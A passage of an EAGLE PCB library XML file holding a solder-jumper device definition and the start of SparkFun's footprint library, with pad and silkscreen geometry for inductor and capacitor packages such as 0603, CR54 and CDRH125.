and should jumper during reflow.</description>\n<gates>\n<gate name=\"1\" symbol=\"SJ\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"NC\" package=\"SJ_2S\">\n<connects>\n<connect gate=\"1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TRACE\" package=\"SJ_2S-TRACE\">\n<connects>\n<connect gate=\"1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"NC2\" package=\"SJ_2S-NOTRACE\">\n<connects>\n<connect gate=\"1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"NO\" package=\"SJ_2S-NO\">\n<connects>\n<connect gate=\"1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun17-11-11\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"INDUCTOR-1206\">\n<wire x1=\"-1.778\" y1=\"2.032\" x2=\"-3.81\" y2=\"2.032\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"2.032\" x2=\"-3.81\" y2=\"-2.032\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-2.032\" x2=\"-1.524\" y2=\"-2.032\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"2.032\" x2=\"3.81\" y2=\"2.032\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"2.032\" x2=\"3.81\" y2=\"-2.032\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-2.032\" x2=\"1.524\" y2=\"-2.032\" width=\"0.127\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"-2.54\" y=\"0\" dx=\"3.556\" dy=\"2.032\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"P$2\" x=\"2.54\" y=\"0\" dx=\"3.556\" dy=\"2.032\" layer=\"1\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"0603\">\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.762\" size=\"0.4064\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.143\" size=\"0.4064\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"CR54\">\n<wire x1=\"2.8\" y1=\"2.98\" x2=\"-2.8\" y2=\"2.98\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-2.8\" y1=\"2.98\" x2=\"-2.8\" y2=\"-3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-2.8\" y1=\"-3\" x2=\"2.8\" y2=\"-3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"-3\" x2=\"2.8\" y2=\"2.98\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-3.048\" y1=\"2.794\" x2=\"-3.048\" y2=\"-3.048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"-3.048\" x2=\"-2.794\" y2=\"-3.302\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.794\" y1=\"-3.302\" x2=\"2.794\" y2=\"-3.302\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"-3.302\" x2=\"3.048\" y2=\"-3.048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.048\" y1=\"-3.048\" x2=\"3.048\" y2=\"3.048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.048\" y1=\"3.048\" x2=\"2.794\" y2=\"3.302\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"3.302\" x2=\"-2.794\" y2=\"3.302\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.794\" y1=\"3.302\" x2=\"-3.048\" y2=\"3.048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"3.048\" x2=\"-3.048\" y2=\"2.794\" width=\"0.2032\" layer=\"21\"/>\n<circle x=\"0\" y=\"0.508\" radius=\"0.127\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"0\" y=\"1.92\" dx=\"5.5\" dy=\"2.15\" layer=\"1\"/>\n<smd name=\"P$2\" x=\"0\" y=\"-1.92\" dx=\"5.5\" dy=\"2.15\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"3.81\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"0\" y=\"3.81\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"CDRH125\">\n<wire x1=\"-3.5\" y1=\"6\" x2=\"-6\" y2=\"6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-6\" y1=\"6\" x2=\"-6\" y2=\"-6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-6\" y1=\"-6\" x2=\"-3.5\" y2=\"-6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.5\" y1=\"-6\" x2=\"6\" y2=\"-6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6\" y1=\"-6\" x2=\"6\" y2=\"6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6\" y1=\"6\" x2=\"3.5\" y2=\"6\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"0\" y=\"4.9\" dx=\"5.4\" dy=\"4\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-4.9\" dx=\"5.4\" dy=\"4\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-2.54\" y=\"-1.27\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"C0402\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.6985\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.0795\" y=\"-1.143\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"B82462G\">\n<wire x1=\"3.15\" y1=\"3.15\" x2=\"-3.15\" y2=\"3.15\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-3.15\" y1=\"3.15\" x2=\"-3.15\" y2=\"-3.15\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-3.15\" y1=\"-3.15\" x2=\"3.15\" y2=\"-3.15\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"3.15\" y1=\"-3.15\" x2=\"3.15\" y2=\"3.15\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-3.15\" y1=\"3.15\" x2=\"-2\" y2=\"3.15\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.15\" y1=\"3.15\" x2=\"-3.15\" y2=\"-3.15\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.15\" y1=\"-3.15\" x2=\"-2\" y2=\"-3.15\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-3.15\" x2=\"3.15\" y2=\"-3.15\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.15\" y1=\"-3.15\" x2=\"3.15\" y2=\"3.15\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.15\" y1=\"3.15\" x2=\"2\" y2=\"3.15\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"0\" y=\"2.75\" dx=\"2.4\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"P$2\" x=\"0\" y=\"-2.75\" dx=\"2.4\" dy=\"1.5\" layer=\"1\"/>\n</package>\n<package name=\"CR75\">\n<wire x1=\"-1\" y1=\"3.65\" x2=\"7\" y2=\"3.65\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"7\" y1=\"3.65\" x2=\"7\" y2=\"2.55\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1\" y1=\"3.65\" x2=\"-1\" y2=\"2.55\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1\" y1=\"-3.65\" x2=\"7\" y2=\"-3.65\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"7\" y1=\"-3.65\" x2=\"7\" y2=\"-2.55\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1\" y1=\"-3.65\" x2=\"-1\" y2=\"-2.55\" width=\"0.127\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"0\" y=\"0\" dx=\"4.7\" dy=\"1.75\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"P$2\" x=\"6.05\" y=\"0\" dx=\"4.7\" dy=\"1.75\" layer=\"1\" rot=\"R90\"/>\n</package>\n<package name=\"1210\">\n<wire x1=\"-1.6\" y1=\"1.3\" x2=\"1.6\" y2=\"1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"1.3\" x2=\"1.6\" y2=\"-1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"-1.3\" x2=\"-1.6\" y2=\"-1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"-1.3\" x2=\"-1.6\" y2=\"1.3\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"1.3\" x2=\"1.6\" y2=\"1.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.6\" y1=\"-1.3\" x2=\"1.6\" y2=\"-1.3\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.6\" y=\"0\" dx=\"1.2\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.6\" y=\"0\" dx=\"1.2\" dy=\"2\" layer=\"1\"/>\n<text x=\"-0.8\" y=\"0.5\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.9\" y=\"-0.7\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1007\">\n<description>1007 (2518 metric) package</description>\n<wire x1=\"0.9\" y1=\"1.25\" x2=\"-0.9\" y2=\"1.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-0.9\" y1=\"1.25\" x2=\"-0.9\" y2=\"-1.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-0.9\" y1=\"-1.25\" x2=\"0.9\" y2=\"-1.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"0.9\" y1=\"-1.25\" x2=\"0.9\" y2=\"1.25\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1\" y1=\"-0.4\" x2=\"-1\" y2=\"0.4\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1\" y1=\"-0.4\" x2=\"1\" y2=\"0.4\" width=\"0.127\" layer=\"21\"/>\n<smd name=\"1\" x=\"0\" y=\"1\" dx=\"2\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-1\" dx=\"2\" dy=\"0.8\" layer=\"1\"/>\n<text x=\"-1\" y=\"1.6\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1\" y=\"-2\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"COOPER_UP4B\">\n<wire x1=\"-6.3\" y1=\"7\" x2=\"-7.5\" y2=\"2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-7.5\" y1=\"2\" x2=\"-7.5\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-7.5\" y1=\"-2\" x2=\"-6.3\" y2=\"-7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"7.5\" y1=\"2\" x2=\"7.5\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"7.5\" y1=\"2\" x2=\"6.3\" y2=\"7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"7.5\" y1=\"-2\" x2=\"6.3\" y2=\"-7\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"0\" y=\"8.9\" dx=\"12\" dy=\"4.3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-8.9\" dx=\"12\" dy=\"4.3\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-2.54\" y=\"-1.27\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"CDRH3D28\">\n<wire x1=\"-2.0503\" y1=\"-0.677\" x2=\"-2.0505\" y2=\"0.6629\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"0.6192\" y1=\"1.9926\" x2=\"-0.7206\" y2=\"1.9927\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.9491\" y1=\"0.6627\" x2=\"1.9491\" y2=\"-0.677\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-2.0505\" y1=\"0.6629\" x2=\"-0.7206\" y2=\"1.9927\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.9491\" y1=\"0.6627\" x2=\"0.6192\" y2=\"1.9926\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.9503\" y1=\"-0.6737\" x2=\"-0.0506\" y2=\"-2.6748\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-0.0436\" y1=\"-2.6999\" x2=\"1.2914\" y2=\"-1.3649\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.0436\" y1=\"-2.6999\" x2=\"-1.3785\" y2=\"-1.3649\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-2.0434\" y1=\"-0.68\" x2=\"-0.0535\" y2=\"-2.6698\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.7435\" y1=\"1\" x2=\"-0.7895\" y2=\"1.954\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1.6563\" y1=\"0.9999\" x2=\"0.7024\" y2=\"1.9538\" width=\"0.127\" layer=\"21\"/>\n<smd name=\"2\" x=\"1.849\" y=\"-0.007\" dx=\"1.5\" dy=\"1.4\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"1\" x=\"-1.9504\" y=\"-0.007\" dx=\"1.5\" dy=\"1.4\" layer=\"1\" rot=\"R270\"/>\n<text x=\"-2.492\" y=\"2.524\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.492\" y=\"-3.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"0805\">\n<wire x1=\"-0.3\" y1=\"0.6\" x2=\"0.3\" y2=\"0.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"-0.6\" x2=\"0.3\" y2=\"-0.6\" width=\"0.1524\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.9\" y=\"0\" dx=\"0.8\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.9\" y=\"0\" dx=\"0.8\" dy=\"1.2\" layer=\"1\"/>\n<text x=\"-0.762\" y=\"0.8255\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.397\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"CR75_V2\">\n<wire x1=\"-1\" y1=\"3.65\" x2=\"7\" y2=\"3.65\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"7\" y1=\"3.65\" x2=\"7\" y2=\"2.55\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1\" y1=\"3.65\" x2=\"-1\" y2=\"2.55\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1\" y1=\"-3.65\" x2=\"7\" y2=\"-3.65\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"7\" y1=\"-3.65\" x2=\"7\" y2=\"-2.55\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1\" y1=\"-3.65\" x2=\"-1\" y2=\"-2.55\" width=\"0.127\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"-0.254\" y=\"0\" dx=\"2.54\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"P$2\" x=\"6.304\" y=\"0\" dx=\"2.54\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n</package>\n<package name=\"CDRH2D09\">\n<description>1.3x1.3mm 1.7mm between. Fits Sumida CDRH2D09, CDRH2D18 inductor</description>\n<wire x1=\"-1.2\" y1=\"0.9\" x2=\"-0.6\" y2=\"1.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.6\" y1=\"1.5\" x2=\"0.6\" y2=\"1.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.6\" y1=\"1.5\" x2=\"1.2\" y2=\"0.9\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.2\" y1=\"-0.9\" x2=\"-0.6783\" y2=\"-1.3739\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.6783\" y1=\"-1.3739\" x2=\"0.6783\" y2=\"-1.3739\" width=\"0.2032\" layer=\"21\" curve=\"85.420723\"/>\n<wire x1=\"0.6783\" y1=\"-1.3739\" x2=\"1.2\" y2=\"-0.9\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.5\" y1=\"-0.6\" x2=\"-0.7071\" y2=\"-1.3929\" width=\"0.03\" layer=\"51\"/>\n<wire x1=\"-0.7071\" y1=\"-1.3929\" x2=\"0.7071\" y2=\"-1.3929\" width=\"0.03\" layer=\"51\" curve=\"90\"/>\n<wire x1=\"0.7071\" y1=\"-1.3929\" x2=\"1.5\" y2=\"-0.6\" width=\"0.03\" layer=\"51\"/>\n<wire x1=\"1.5\" y1=\"-0.6\" x2=\"1.5\" y2=\"0.6\" width=\"0.03\" layer=\"51\"/>\n<wire x1=\"1.5\" y1=\"0.6\" x2=\"0.6\" y2=\"1.5\" width=\"0.03\" layer=\"51\"/>\n<wire x1=\"0.6\" y1=\"1.5\" x2=\"-0.6\" y2=\"1.5\" width=\"0.03\" layer=\"51\"/>\n<wire x1=\"-0.6\" y1=\"1.5\" x2=\"-1.5\" y2=\"0.6\" width=\"0.03\" layer=\"51\"/>\n<wire x1=\"-1.5\" y1=\"0.6\" x2=\"-1.5\" y2=\"-0.6\" width=\"0.03\" layer=\"51\"/>\n<smd name=\"P$1\" x=\"-1.5\" y=\"0\" dx=\"1.3\" dy=\"1.3\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"P$2\" x=\"1.5\" y=\"0\" dx=\"1.3\" dy=\"1.3\" layer=\"1\" rot=\"R90\"/>\n<text x=\"2.8\" y=\"0.7\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"2.8\" y=\"-1\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"NPI75C\">\n<wire x1=\"-3.9\" y1=\"3.5\" x2=\"-3.9\" y2=\"-3.5\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"-3.9\" y1=\"-3.5\" x2=\"3.9\" y2=\"-3.5\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"3.9\" y1=\"-3.5\" x2=\"3.9\" y2=\"3.5\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"0.8\" y1=\"3.5\" x2=\"-0.8\" y2=\"3.5\" width=\"0.1778\" layer=\"21\"/>\n<wire x1=\"-0.8\" y1=\"-3.5\" x2=\"0.8\" y2=\"-3.5\" width=\"0.1778\" layer=\"21\"/>\n<wire x1=\"3.9\" y1=\"3.5\" x2=\"-3.9\" y2=\"3.5\" width=\"0.1778\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.5\" y=\"0\" dx=\"3\" dy=\"7.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.5\" y=\"0\" dx=\"3\" dy=\"7.5\" layer=\"1\"/>\n</package>\n<package name=\"SRU5028\">\n<wire x1=\"1.2048\" y1=\"-2.473\" x2=\"2.4476\" y2=\"-1.2048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.6\" y1=\"-0.9\" x2=\"2.6\" y2=\"0.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.473\" y1=\"1.2048\" x2=\"1.2048\" y2=\"2.4476\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.9\" y1=\"2.6\" x2=\"-0.9\" y2=\"2.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.1794\" y1=\"2.4222\" x2=\"-2.4222\" y2=\"1.2048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.6\" y1=\"0.9\" x2=\"-2.6\" y2=\"-0.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.3968\" y1=\"-1.1794\" x2=\"-1.2048\" y2=\"-2.4476\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.9\" y1=\"-2.6\" x2=\"0.9\" y2=\"-2.6\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"1.5\" y=\"0\" radius=\"0.1414\" width=\"0.4\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"0\" y=\"2.4\" dx=\"2\" dy=\"1.1\" layer=\"1\"/>\n<smd name=\"P$2\" x=\"0\" y=\"-2.4\" dx=\"2\" dy=\"1.1\" layer=\"1\"/>\n<smd name=\"1\" x=\"2.4\" y=\"0\" dx=\"2\" dy=\"1.1\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"2\" x=\"-2.4\" y=\"0\" dx=\"2\" dy=\"1.1\" layer=\"1\" rot=\"R90\"/>\n<text x=\"-2.54\" y=\"3.175\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.81\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"SRU1038\">\n<wire x1=\"-5\" y1=\"-1.6\" x2=\"-5\" y2=\"1.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-5\" y1=\"1.6\" x2=\"-1.6\" y2=\"5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"5\" x2=\"1.6\" y2=\"5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"5\" x2=\"5\" y2=\"1.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5\" y1=\"1.6\" x2=\"5\" y2=\"-1.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5\" y1=\"-1.6\" x2=\"1.6\" y2=\"-5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"-5\" x2=\"-1.6\" y2=\"-5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"-5\" x2=\"-5\" y2=\"-1.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.5\" y1=\"2.1\" x2=\"-1.6\" y2=\"5\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.6\" y1=\"5\" x2=\"1.6\" y2=\"5\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.6\" y1=\"-5\" x2=\"-1.6\" y2=\"-5\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.6\" y1=\"5\" x2=\"4.5\" y2=\"2.1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.5\" y1=\"-2.1\" x2=\"-1.6\" y2=\"-5\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.6\" y1=\"-5\" x2=\"4.5\" y2=\"-2.1\" width=\"0.254\" layer=\"21\"/>\n<smd name=\"2\" x=\"4.5\" y=\"0\" dx=\"1.8\" dy=\"3.6\" layer=\"1\"/>\n<smd name=\"1\" x=\"-4.5\" y=\"0\" dx=\"1.8\" dy=\"3.6\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"2.54\" size=\"1.016\" layer=\"25\">&gt;Name</text>\n<text x=\"-2.54\" y=\"-3.302\" size=\"1.016\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"CR54-KIT\">\n<wire x1=\"-3.048\" y1=\"-3.548\" x2=\"-2.794\" y2=\"-3.802\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.794\" y1=\"-3.802\" x2=\"2.794\" y2=\"-3.802\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"-3.802\" x2=\"3.048\" y2=\"-3.548\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.048\" y1=\"-3.548\" x2=\"3.048\" y2=\"3.548\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.048\" y1=\"3.548\" x2=\"2.794\" y2=\"3.802\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.794\" y1=\"3.802\" x2=\"-2.794\" y2=\"3.802\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.794\" y1=\"3.802\" x2=\"-3.048\" y2=\"3.548\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"3.548\" x2=\"-3.048\" y2=\"-3.548\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.5\" y1=\"-2.5\" x2=\"-2.5\" y2=\"2.5\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"-2.5\" y1=\"2.5\" x2=\"2.5\" y2=\"2.5\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"2.5\" y1=\"2.5\" x2=\"2.5\" y2=\"-2.5\" width=\"0.1778\" layer=\"51\"/>\n<wire x1=\"2.5\" y1=\"-2.5\" x2=\"-2.5\" y2=\"-2.5\" width=\"0.1778\" layer=\"51\"/>\n<circle x=\"0\" y=\"0.508\" radius=\"0.127\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"0\" y=\"2.17\" dx=\"5\" 